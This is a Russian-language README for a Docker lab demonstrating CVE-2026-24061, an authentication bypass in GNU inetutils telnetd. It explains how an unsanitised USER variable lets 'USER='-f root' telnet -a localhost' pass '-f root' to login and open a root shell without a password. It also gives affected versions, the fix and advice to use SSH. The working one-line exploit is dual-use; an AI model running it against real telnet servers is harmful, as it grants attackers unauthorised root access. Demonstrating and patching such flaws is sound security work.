
Это простой PoC, который позволяет подчеркнуть серьёзность текущей и активно эксплуатируемой уязвимости Telnet, происходящей прямо сейчас. Почему люди до сих пор используют Telnet... уму непостижимо.
Docker-лаборатория для демонстрации CVE-2026-24061 — критической уязвимости обхода аутентификации в GNU inetutils telnetd, которая оставалась без исправления в течение 11 лет.
Telnetd передаёт переменную окружения USER напрямую в /usr/bin/login без санитизации. Бинарный файл login имеет флаг -f, который пропускает аутентификацию (предназначен для предварительно аутентифицированных сессий). Установив USER='-f root', атакующий обманывает login, получая root-доступ без пароля.
Затронутые версии: GNU inetutils 1.9.3 (март 2015) — 2.7 Оценка CVSS: 9.8 (критическая) Исправление: обновление до inetutils 2.8+
# Сборка образа
docker build -t telnetd-exploit .
# Запуск контейнера (попадаете в shell под пользователем user1)
docker run --rm -it telnetd-exploit
# Эксплуатация — получение root без пароля
USER='-f root' telnet -a localhost
Вы попадёте в root-оболочку. Выполните whoami, чтобы убедиться.
1. Клиент подключается с: USER='-f root' telnet -a localhost
2. telnetd получает переменную окружения USER: "-f root"
3. telnetd выполняет: /usr/bin/login -f root
4. login интерпретирует -f как "пропустить аутентификацию, пользователь предварительно проверен"
5. Атакующий получает root-оболочку — пароль не требуется
Флаг -f легитимен — он предназначен для сценариев, где пользователь уже аутентифицирован (например, из доверенной локальной сессии). Проблема в том, что telnetd не санитизирует переменную USER перед передачей в login, что позволяет удалённым атакующим внедрять флаг.
По состоянию на январь 2026 года:
Даже без этой ошибки Telnet передаёт всё в открытом виде — включая пароли. Используйте SSH.
| Протокол | Шифрование | Аутентификация |
|---|---|---|
| Telnet | Нет | Открытым текстом |
| SSH | Да | Ключ/Пароль |
.
├── Dockerfile # Создаёт уязвимый Debian-контейнер
├── docker-entrypoint.sh # Запускает inetd, переключается на user1
└── README.md
Лаборатория основана на leonjza/inetutils-telnetd-auth-bypass